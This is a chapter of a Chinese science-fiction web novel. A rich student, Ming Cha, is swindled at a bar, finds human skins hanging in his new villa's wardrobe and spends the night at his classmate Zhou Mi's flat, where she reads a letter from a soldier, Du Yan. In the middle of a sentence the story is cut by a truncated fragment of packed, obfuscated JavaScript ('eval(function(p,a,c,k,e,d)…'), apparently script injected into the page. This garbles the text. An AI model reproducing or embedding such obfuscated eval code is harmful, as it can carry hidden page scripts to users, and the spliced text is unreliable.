“是刚才一个帅哥和美女,他们俩朋友很多,说是记你账上,他还拍了你一下,我以为你们认识。”服务生示意他刷卡,明刹咬咬牙,打开光脑付钱,他拎着特地为了耍帅套上的品牌外套离开,满肚子都是气和那一杯即使甜丝丝现在也苦哈哈的人鱼蓝。 绿咕咕关好酒吧门,从昏暗的巷子里穿过去,酒吧狭隘的后勤宿舍楼就在酒吧正后方。 “吱呀”门从外往内开,拍明刹肩膀的男人就睡在第一间,他看绿咕咕来了,往内侧让一让,绿咕咕就睡在他对床。 绿咕咕站定床前,他抬脚就踹绿咕咕屁股,得到绿咕咕要杀人的眼神后,他才骄傲地一抬下巴,“你猜我今天赚了多少?” 这人每次都和服务员合伙坑顾客,绿咕咕不懂这些人类怎么还专门捡人类骗,来地下城这么久,人类似乎格外喜欢坑自己人。 “10000米拉尔星币。”绿咕咕不想理这人,可不同他说话,他就一个晚安都不让人睡个好觉,绿咕咕只得萎靡不振地回他。 男人鄙夷地扫几眼他,明显的看不起这个非人物种,可有分享总比没人的好,他躺在床上高兴道,“比你想的还多。” 话音未落,门忽然被敲响,宿舍内的电话铃也一个劲的震,几人互对眼神,没人敢接,电话只有老板能打进来,他们是打不出去的,一打进来准没好事,众人脸色一时全是说不出的惊恐,尽量往后站,绝不做出头鸟。 “去啊,去接。”宿舍内等级分明,大部分人类都催促着绿咕咕,他叹了口气任命地拿下墙上的电话,“喂,好。” “安东阳,老板找你,顺便让我开门。”绿咕咕就知道这人要倒霉,只是时机不对齐,这不就来了,他长吁一口气,不等安东阳惊叫着“别开别开”,早已前去开门。 门外的人携带比宿舍好闻太多的气息,快步进来掀开挡着证件的皮革外壳,“我是徐磊,受报警人委托,前来彻查行骗一事,请各位配合,不然遣送回户籍地。” 绿咕咕嘴角勾起,露出大仇得报的笑,他回头看安东阳,这位行骗专家瘫倒在床榻上,面部苍白,似乎再来一阵微小的风,就能将他轻飘飘地卷走,变成胡乱刮走的蒲公英种子。 被坑的明刹坐车快到富人区了,列车速度再快,他也坐了半个小时,用光脑给周觅发信息,骂那个骗自己的人快有两百条。 周觅平均五十条发一句,“后面呢?”“然后呢?”属于是敷衍极了,但这少爷就是没看出来,认为周觅就是自己的真命天女。 幸好周觅不知道他心里想什么,不然今晚肯定要一改敷衍模样,用短短五个字概括明刹在自己心里的形象——“你这个SB。” 明刹和周觅倾诉完,心里好受多了,他拎着衣服出站台,缓步走向别墅区,别墅是最近几年刚建的,只是富人们手里房产众多,这里距离商业区不近,住的人不算多。 保安是个很年轻的小伙子,看明刹人脸识别通过后,立马鞠躬道,“您晚上好。” 明刹回了句“晚上好”,走去中介同他天花乱坠一通夸的第三幢别墅门前,这地方绿化做的不错,但不知道是不是晚上了,还是地下城空气流通不太好的缘故,他感觉这地方有种说不出来的人类体味。 可能是他太敏感了,明刹劝说自己别太在意,大不了明天再找家政过来,今天的家政可能没打扫干净,他不会和这些服务人员争执。 他缓慢至极地吐出一口气,扭开门把手,走了进去,灯光早就在光脑远程调控系统打开,进去是一整个金碧辉煌的欧式建筑,几乎近四米的客厅挑高,落地窗则接近三米,米白色的帘子随着明刹进屋的瞬间,由智能调控慢慢拉起,阻隔他与外界的视线接触。 明刹嘴角不由得勾起,他脱了鞋,几步将自己扔上沙发,软软的沙发如潮水几乎要将他吞噬进去,软乎乎的毯子从一旁滑落,盖在他脸上,他就这么躺着,好几秒后才爽的叹了口气,神经似乎都被慰藉了一番,他喃喃自语道,“真是太爽了。” 果然,钱到位了,服务都是一流。 过了好几分钟,他才换了个姿势趴在沙发上,将光脑打开准备问问周觅和缇娜,周末要不要来玩,可是信息注定夭折,他眉头微蹙,又闻到一股熟悉难闻的气味,几乎是立马起身,他一分一秒都没办法继续待在这里。 他的精神力高至SSS级别,五感感知灵敏无比,这里绝对有情况,明刹抿抿唇,不知道是该径直离开还是顺着气味一探究竟。 摸上储物戒,粒子枪很快出现在手中,他紧紧握住枪身,枪口对准前方,一步步往气味越来越浓,越来越重的楼上逼近。 这么大的房子,买的时候不觉得空旷,现在一个人走在里面,手肘摩擦衣服的细碎声,完全可以组成一段段不间隔的舞曲,他发现自己有点紧张,紧张到故意去聆听那些细小的,不应该被自己过分关注的声音。 喉结上下滚动,明刹艰难地吞咽着,喉咙口似乎塞了一大堆棉花,疯狂吸食他的水分,他不得不扯扯脖子,渴望离自己的这部分身体组织远一些,也离这该死的气味远一点。 都说好奇心害死猫,此刻的好奇猫猫明刹已经抵达二楼的主卧门口,他感肯定一股猪油和脚臭味混杂的气息就是从这里传出来的。 站在门边已经在心里吐个十次八次的明刹,硬着头皮翘着手指头扭开门把手,用枪口顶开露出一道缝隙的门,主卧内的黄色光晕一阵阵往外散发热烘烘的暖意,普通的时候看到只会觉得温馨,可是猪油和脚臭味正充斥整个房间,像是发酵了一般,几乎整个别墅的空气都被染脏了。 踱步到紧紧闭合的衣柜面前,他紧张,可是不敢深呼吸,生怕这个味道感染他的呼吸道,硬生生憋着一口气,仍然翘着手指头拉开了柜门。 “我靠,呕……” 衣柜里面挂着哪里是衣服,暖黄色的光晕照亮衣柜里的阴暗一角,无数被防尘袋保护着的一张张薄片组织,不全都是人皮? 想起下午几人的谈话,围绕着可能是异能者的罪魁祸首,明刹不敢停留,顾不上污浊的气息是否会感染他的肺部,抓紧时间拍了几张照片,立马脚底生风地溜了。 晚上十点半,周觅切点水果,准备边吃边看从特拉克星球的来信,电话铃声不合时宜的想起,她叹口气,不用看来电人是谁,接通了立马问,“明大少爷,你来找我干嘛?” “周觅周觅周觅……”一段气喘吁吁的“周觅”响起,周觅皱眉,“干什么?” “收留我一晚行不行,我刚才发现了人皮,太变态太吓人了,我不敢一个人待着。”声音委屈巴巴的,周觅不疑有他,明刹不是一个会故意撒谎的人,她将地址报给他,“地下城西区101街道梨花小区1幢4单元304,你到楼下,我下去接你。” “好。”明刹一颗心落回原处,他扯扯自己皱皱巴巴的衬衫,在门口保安的注视下跑到车站,等着运输班车,明刹原本对这保安还挺有好感,现在只觉得后怕,这里甚至没住多少人,大部分别墅都有一套稳定的安保设施,不容易被杀害,这个保安,看上去弱不禁风却能安稳地待在这里,明刹不敢细想。 周觅到楼下接他的时候快过零点了,心大的明少爷一路走过来还提了不少水果和零食。 他低着头,闷闷不乐地把东西递过去,感激道,“谢谢你周觅。” 周觅接过去,仔细打量他的神情,见他不大开心,但不是被吓傻的恍惚,放心带他上楼。三楼的楼道灯亮着,周觅上来的时候,对面303的门也开着,威尔逊大叔正搬着周觅买了这暂时还堆在楼道里的菜。 “我敲门的时候,您好像不在家。”周觅上前帮他搬菜,他还是那副不想同任何说话的冷淡模样,眼皮半天抬一下,“我当时在休息,这个孩子是?” 微微掀起的眼皮下,一双苍老浑浊的眼睛似乎陡然间爆发出强光,朝明刹凌厉地射去,明刹浑浑噩噩地没看他,还沉浸在今晚几桩倒霉的事情里面暂时无法自拔。 周觅回他,“是我的同学,家里搞装修呢,明天就回去。” 这话真假威尔逊大叔不管,他只是来回看了几眼周觅和明刹,见周觅的身体微侧向门站着,而不是明刹,威尔逊大叔暂时放下心来,冷哼一声,嘟囔着,“我就是不喜欢把房子租给你们这些小孩子,乱带人过来。” “再有下一次,我要告诉你监护人的。”威尔逊大叔任由周觅把菜替他搬进家门内,并不说感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你不会被这人皮吓到了吧?”周觅温和地拍拍他的肩膀,安慰道,“每个人都不同,你被吓到也没什么的,承受度不一样而已,也可能是你没见过更恶心的东西,我还记得我很小的时候,大概是蓝粒爆发最严重的那年我才六七岁吧,地上全是鲜血和人类的内脏,其他的我都忘记了,可能是受了什么刺激,你见过的越多,你就越不会觉得可怕,后面的会更恶心。” 周觅安慰人实在另类,但这是她这么久以来,跟自己说话较多的一次,明刹抱紧她用作装饰沙发的娃娃,眼眶上的红晕褪去,真诚地注视着她同自己一样漆黑的双眸,“谢谢你,周觅,你怎么这么好?” 得,发好人卡了,周觅垂眸淡笑,“想必每个人都会收留这么一只无家可归的可怜小狗吧。” 明刹被她比作小狗也不生气,反而觉得这是他和周觅的秘密称呼,一整个晚上的霉运,似乎都被面前的女孩冲淡了,她就是自己的幸运星。 周觅关了卧室的灯,明刹眨巴眨巴眼睛,在黑暗里叫她的名字,“周觅。” 真是不懂今晚的明刹怎么会这么缠人,周觅考虑到他的幼小心灵刚受到摧残,她耐着性子,温润道,“怎么了?” “徐磊今晚是来告诉那盏灯的事情,但我被人骗了钱,他没来得及跟我说,我明天收到他的信息再告诉你吧。” “随你。”门被合上了,客厅内的光顺着门被关上的缝隙渐渐变小,直到消失,窗帘没有拉紧,对面街道的光也逐渐低沉,他终于能放下紧绷的神经睡一觉。床有些小了,他把腿蜷缩起来,毛绒绒的毯子是周觅洗完烘干后铺上床的,有淡淡的洗衣液香气。 脸与毯子蹭了蹭,像一只依赖主人的小狗,感受到主人的气味才敢放下心来。 客厅里周觅拿出信件,放好水果,躺在长沙发上开始看信,暖色的灯光将牛皮纸信纸照的更暗,像熟透快烂掉的猕猴桃外皮。牛皮纸并不光滑,上面毛毛躁躁的纸质纤维就是黏在猕猴桃外皮的细小绒毛。 “你好,周觅同学,我是都晏,这么久没有给你回信是因为我身体上的原因,很抱歉。我很感谢你给我寄的药品食物,这完全是雪中送炭,让我永生难忘,但这不是一笔小数目的钱,我在信封里放了一张卡,希望你能收下。 我的这封信仍然是寄到418街道,其实你们星球的北部已经没有这个地方了是不是?我知道这封信会寄到你手里,虽然我不知道中间出了什么差错,明明没有这个地方,你还是能收到来信。我很好奇,如果你知道其中缘由的话,希望你能告知。 你的来信地址有修改过,从418街道改成了417(无名街道),是你修改的吗?还是说是星际邮寄局的人替你修改的呢?这都很扑朔迷离。 今天的来信我并不只想说这个,因为军方原因,我想我们不能加联系方式,如果可以的话,希望你还能来信,如果你有想知道事情,也可以问我,只要不涉及机密,我都可以书信方式传递。 我已经很多年没有写过书信,感谢你给予我的机会,很高兴认识你,周觅同学。” 周觅读完信件,回想起韦德夫人关于418街道的话,以及徐磊的那句,“或许是有人拿走了信件,帮你寄走。” 原来是这么个意思,根本没有418街道,只有灾后重建的无名街道,从前的居民喜欢说它是418街道,那是曾经的家,但现在只有一个归属于417街道的无名街道,周觅想一点点拨开云雾中的记忆,可再怎么使劲也推不开上锁的这扇门。她忘记了很多东西,幸好还记得自己是谁。 她拿起自己准备好的信纸与笔,打开台灯,台灯将纯白的纸张照的透亮,有些刺眼,她写一会就要停顿一会。 周觅在日常生活中很少写信,一来是生活的圈层问题,大家不会有太多其他星球的朋友,就算有,也应该有联系方式,和都晏的交流的确很不一样,她想,从前她忘记过太多人,可这个人她不会忘记,他是从未有过的体验。 装好信件,这次的地址,不会再存疑,她住在地下城西区101街道梨花小区1幢4单元304。